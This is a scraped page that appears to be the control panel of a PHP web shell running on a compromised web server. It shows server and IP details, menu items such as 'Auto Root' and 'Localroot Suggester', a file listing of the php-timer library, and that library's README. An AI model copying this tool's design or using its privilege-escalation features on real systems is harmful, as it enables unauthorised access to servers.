Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.119.110.206
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp /
vendor /
phpunit /
php-timer /
Delete
Unzip
Name
Size
Permission
Date
Action
src
[ DIR ]
drwxr-xr-x
2018-02-01 09:00
tests
[ DIR ]
drwxr-xr-x
2018-02-01 09:00
.gitattributes
15
B
-rw-r--r--
2018-02-01 09:00
.gitignore
46
B
-rw-r--r--
2018-02-01 09:00
.php_cs.dist
5.82
KB
-rw-r--r--
2018-02-01 09:00
.travis.yml
380
B
-rw-r--r--
2018-02-01 09:00
ChangeLog.md
385
B
-rw-r--r--
2018-02-01 09:00
LICENSE
1.52
KB
-rw-r--r--
2018-02-01 09:00
README.md
1.06
KB
-rw-r--r--
2018-02-01 09:00
build.xml
695
B
-rw-r--r--
2018-02-01 09:00
composer.json
897
B
-rw-r--r--
2018-02-01 09:00
phpunit.xml
708
B
-rw-r--r--
2018-02-01 09:00
Save
Rename
[](https://travis-ci.org/sebastianbergmann/php-timer) # phpunit/php-timer Utility class for timing things, factored out of PHPUnit into a stand-alone component. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): composer require phpunit/php-timer If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: composer require --dev phpunit/php-timer ## Usage ### Basic Timing ```php use SebastianBergmann\Timer\Timer; Timer::start(); // ... $time = Timer::stop(); var_dump($time); print Timer::secondsToTimeString($time); ``` The code above yields the output below: double(1.0967254638672E-5) 0 ms ### Resource Consumption Since PHP Startup ```php use SebastianBergmann\Timer\Timer; print Timer::resourceUsage(); ``` The code above yields the output below: Time: 0 ms, Memory: 0.50MB